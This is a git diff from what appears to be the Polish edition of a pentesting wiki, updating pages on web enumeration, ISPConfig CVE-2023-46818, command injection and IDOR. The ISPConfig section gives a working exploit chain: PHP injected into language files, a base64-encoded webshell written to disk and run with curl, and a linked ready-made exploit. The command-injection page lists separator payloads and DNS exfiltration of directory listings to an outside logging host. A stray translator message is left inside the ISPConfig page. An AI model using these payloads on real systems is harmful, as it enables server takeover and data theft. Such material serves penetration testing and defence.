- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -267,43 +267,44 @@ Narzędzia:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, powinien on zostać poddany Brute-Forcingowi._
### Co sprawdzić w każdym znalezionym pliku
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki w HTML, które mogą być podatne na przejęcia.
- **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa kopii zapasowej to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukiwać** ukryte parametry w każdym wykonywalnym pliku webowym.
- _Arjun wszystkie domyślne listy słów:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken linki w HTML-ach, które mogą być podatne na takeovery
- **File Backups**: Po znalezieniu wszystkich plików, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **aby odkryć ukryte parametry. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp.
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/index.html).
- **Comments:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć w nich **credentials** lub **ukrytą funkcjonalność**.
- Jeśli grasz w **CTF**, "popularnym" trikiem jest **ukrycie** **informacji** wewnątrz komentarzy po **prawej** stronie **strony** (używając **setek** **spacji**, żeby nie widzieć danych gdy otworzysz źródło w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony.
- **API keys**: Jeśli **znajdziesz jakikolwiek API key** jest projekt, który pokazuje jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp.
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub **link** jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html).
### Specjalne znaleziska
### Special findings
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, o których musisz **poinformować**.
**Interesujące pliki**
- Szukaj **linków** do innych plików w **plikach CSS**.
- [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md).
- Jeśli znajdziesz _**.env**_, można znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one.
- **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębniać ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
- Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- Szukaj **linków** do innych plików wewnątrz **plików CSS**.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do dbs i inne dane.
- Jeśli znajdziesz **API endpoints** powinieneś je [też przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "będą wyglądać" jak pliki.
- **JS files**: W sekcji spideringu wspomniano kilka narzędzi, które potrafią wyciągać ścieżki z plików JS. Warto także **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że w kodzie pojawiła się potencjalna podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
- Powinieneś także sprawdzić znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) aby sprawdzić, czy są podatne.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane. To będzie przydatne: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex).
- W wielu sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex)
- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
**403 Forbidden/Basic Authentication/401 Unauthorized (obejście)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
403-and-401-bypasses.md
@ -311,37 +312,38 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for
**502 Proxy Error**
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz SSRF**.
Jeśli jakaś strona **odpowiada** tym **kodem**, najprawdopodobniej to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z headerem host i innymi typowymi headerami), **proxy** spróbuje **dostępować** się do _**google.com**_ **i znalazłeś** SSRF.
**NTLM Authentication - ujawnienie informacji**
**NTLM Authentication - Info disclosure**
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\
**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse_".
Jeśli serwer proszący o uwierzytelnienie jest **Windows** lub znajdziesz login żądający twoich **credentials** (i proszący o **domain** **name**), możesz wywołać **ujawnienie informacji**.\
**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z uwagi na to, jak działa **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz to **zautomatyzować** używając **nmap pluginu** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym.
Możliwe jest **włożenie treści** do **redirecta**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie) ale coś może być **ukryte** w środku.
### Sprawdzanie luk w sieci
### Web Vulnerabilities Checking
Po wykonaniu kompleksowej enumeracji aplikacji webowej nadszedł czas, aby sprawdzić wiele możliwych podatności. Listę kontrolną znajdziesz tutaj:
Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych luk. Możesz znaleźć listę kontrolną tutaj:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Więcej informacji o lukach w sieci znajdziesz na:
Więcej informacji o web vulns:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Monitorowanie stron pod kątem zmian
### Monitor Pages for changes
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), aby monitorować strony pod kątem modyfikacji, które mogą wprowadzać luki.
Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) do monitorowania stron pod kątem modyfikacji, które mogą wprowadzić podatności.
### HackTricks Automatyczne Komendy
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

91
src/network-services-pentesting/pentesting-web/ispconfig.md Normal file
View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Przegląd
ISPConfig to otwarto-źródłowy panel do zarządzania hostingiem. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która, gdy była włączona dla super administratora, pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą sfałszowanego rekordu tłumaczenia. Może to prowadzić do RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, do privilege escalation.
Kluczowe domyślne ścieżki:
- Katalog główny serwera WWW często znajduje się w `/var/www/ispconfig` gdy serwowane za pomocą `php -S` lub przez Apache/nginx.
- Interfejs administracyjny dostępny na vhost HTTP(S) (czasami powiązany tylko z localhost; użyj przekierowania portu SSH, jeśli to konieczne).
Wskazówka: Jeśli panel jest związany lokalnie (np. `127.0.0.1:8080`), przekieruj go:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Dotyczy: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Warunki wstępne:
- Zaloguj się jako wbudowane konto superadmin `admin` (inne role nie są dotknięte według dostawcy)
- Edytor języka musi być włączony: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Skutek: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany w pliku językowym i wykonany przez aplikację, osiągając RCE w kontekście web
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Manual exploitation flow
1) Open/create a language file to obtain CSRF tokens
Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (`csrf_id`, `csrf_key`). Przykładowa ścieżka żądania: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy wpis tłumaczenia. Minimalne próby wykonania poleceń:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Test poza pasmem (obserwuj ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Zapisz pliki i wgraj webshell
Użyj `file_put_contents`, aby utworzyć plik w ścieżce dostępnej przez web (np. `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Następnie napisz prosty webshell używając base64, aby uniknąć niepożądanych znaków w treści POST:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Nie otrzymałem zawartości pliku. Proszę wklej treść pliku src/network-services-pentesting/pentesting-web/ispconfig.md albo wskaż, które sekcje przetłumaczyć. Zachowam oryginalne znaczniki, linki, ścieżki i kod.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Jeśli PHP jest uruchamiane jako root (np. przez `php -S 127.0.0.1:8080` uruchomione przez root), daje to natychmiastowe RCE jako root. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.
### Python PoC
Gotowy exploit automatyzuje obsługę tokenów i dostarczanie payloadu:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Przykładowe uruchomienie:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Wzmacnianie zabezpieczeń
- Zaktualizuj do 3.2.11p1 lub nowszej
- Wyłącz edytor języków, chyba że jest to ściśle konieczne:
```
admin_allow_langedit=no
```
- Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia
- Wymagaj silnego uwierzytelniania dla wbudowanego konta `admin`
## Źródła
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

41
src/pentesting-web/command-injection.md
View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## Czym jest wstrzykiwanie poleceń?
## Czym jest command Injection?
**Wstrzykiwanie poleceń** pozwala na wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym.
A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i systemem bazowym.
### Kontekst
W zależności od **tego, gdzie wprowadzane są dane** możesz potrzebować **zakończyć cytowany kontekst** (używając `"` lub `'`) przed poleceniami.
W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowanego** (używając `"` lub `'`) przed poleceniami.
## Wstrzykiwanie poleceń/Wykonanie
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Ominięcia** Limitation
### **Ograniczenia** Bypasses
Jeśli próbujesz wykonać **dowolne polecenia wewnątrz maszyny linux**, zainteresuje Cię przeczytanie o tych **Ominięciach:**
Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura o tych **Bypasses:**
{{#ref}}
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parametry
Oto 25 najważniejszych parametrów, które mogą być podatne na wstrzykiwanie kodu i podobne luki RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Oto 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -74,9 +75,9 @@ Oto 25 najważniejszych parametrów, które mogą być podatne na wstrzykiwanie
?run={payload}
?print={payload}
```
### Czasowe wycieki danych
### Time based data exfiltration
Ekstrakcja danych: znak po znaku
Wyodrębnianie danych: znak po znaku
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -90,7 +91,7 @@ sys 0m0.000s
```
### DNS based data exfiltration
Na podstawie narzędzia z `https://github.com/HoLyVieR/dnsbin`, również hostowanego na dnsbin.zhack.ca
Oparte na narzędziu z `https://github.com/HoLyVieR/dnsbin`, również hostowanym na dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Narzędzia online do sprawdzania wycieków danych opartych na DNS:
Narzędzia online do sprawdzenia DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Ominięcie filtrów
### Filtering bypass
#### Windows
```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Podczas audytowania backendów JavaScript/TypeScript często napotkasz na API Node.js `child_process`.
Podczas audytu back-endów w JavaScript/TypeScript często napotkasz API Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` uruchamia **powłokę** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla powłoki (back-ticki, `;`, `&&`, `|`, `$()`, …) spowoduje **iniekcję poleceń**, gdy dane wejściowe użytkownika są konkatenowane w ciągu.
`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w stringu.
**Łagodzenie:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako osobny element tablicy**, aby żadna powłoka nie była zaangażowana:
**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany żaden shell:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -139,20 +140,22 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Rzeczywisty przypadek: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()`, osiągając RCE (Pwn2Own Irlandia 2024).
Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()` i doprowadziły do RCE (Pwn2Own Ireland 2024).
## Lista wykrywania ataków brute-force
## Brute-Force — lista wykrywania
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Odniesienia
## Referencje
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [Ekstrakcja zaszyfrowanych archiwów Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

92
src/pentesting-web/idor.md
View File

@ -2,23 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy punkt końcowy webowy lub API ujawnia lub akceptuje identyfikator kontrolowany przez użytkownika, który jest używany **bezpośrednio** do uzyskania dostępu do wewnętrznego obiektu **bez weryfikacji, czy wywołujący ma uprawnienia** do uzyskania dostępu/modyfikacji tego obiektu.
Sukces w eksploatacji zazwyczaj pozwala na poziomą lub pionową eskalację uprawnień, taką jak odczyt lub modyfikacja danych innych użytkowników, a w najgorszym przypadku pełne przejęcie konta lub masowe wyciek danych.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub akceptuje sterowalny przez użytkownika identyfikator, który jest używany **bezpośrednio** do dostępu do wewnętrznego obiektu **bez sprawdzenia, czy wywołujący ma uprawnienia** do dostępu/modyfikacji tego obiektu.
Udana eksploatacja zazwyczaj pozwala na poziomą lub pionową privilege-escalation, np. na odczyt lub modyfikację danych innych użytkowników, a w najgorszym wypadku na full account takeover lub mass-data exfiltration.
---
## 1. Identyfikacja potencjalnych IDOR-ów
## 1. Identifying Potential IDORs
1. Szukaj **parametrów, które odnoszą się do obiektu**:
* Ścieżka: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Zapytanie: `?id=42`, `?invoice=2024-00001`
* Ciało / JSON: `{"user_id": 321, "order_id": 987}`
* Nagłówki / Ciasteczka: `X-Client-ID: 4711`
2. Preferuj punkty końcowe, które **odczytują lub aktualizują** dane (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Zauważ, gdy identyfikatory są **sekwencyjne lub przewidywalne** – jeśli twój ID to `64185742`, to `64185741` prawdopodobnie istnieje.
4. Zbadaj ukryte lub alternatywne przepływy (np. *"Członkowie zespołu Paradox"* link na stronach logowania), które mogą ujawniać dodatkowe API.
5. Użyj **uwierzytelnionej sesji o niskich uprawnieniach** i zmień tylko ID **zachowując ten sam token/ciasteczko**. Brak błędu autoryzacji jest zazwyczaj oznaką IDOR.
1. Look for **parameters that reference an object**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.
### Szybkie ręczne manipulacje (Burp Repeater)
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -27,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### Zautomatyzowana enumeracja (Burp Intruder / pętla curl)
### Zautomatyzowana enumeracja (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -37,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. Studium przypadku z rzeczywistego świata – Platforma Chatbota McHire (2025)
Podczas oceny portalu rekrutacyjnego **McHire** opartego na Paradox.ai odkryto następujący IDOR:
### Error-response oracle for user/file enumeration
Gdy download endpoint akceptuje zarówno username, jak i filename (np. `/view.php?username=<u>&file=<f>`), subtelne różnice w komunikatach o błędach często tworzą oracle:
- Nieistniejący username → "User not found"
- Zły filename, ale prawidłowe rozszerzenie → "File does not exist" (czasami również wypisuje dostępne pliki)
- Złe rozszerzenie → błąd walidacji
Mając dowolną uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu benign filename i filtrować po ciągu "user not found", aby odkryć prawidłowych użytkowników:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
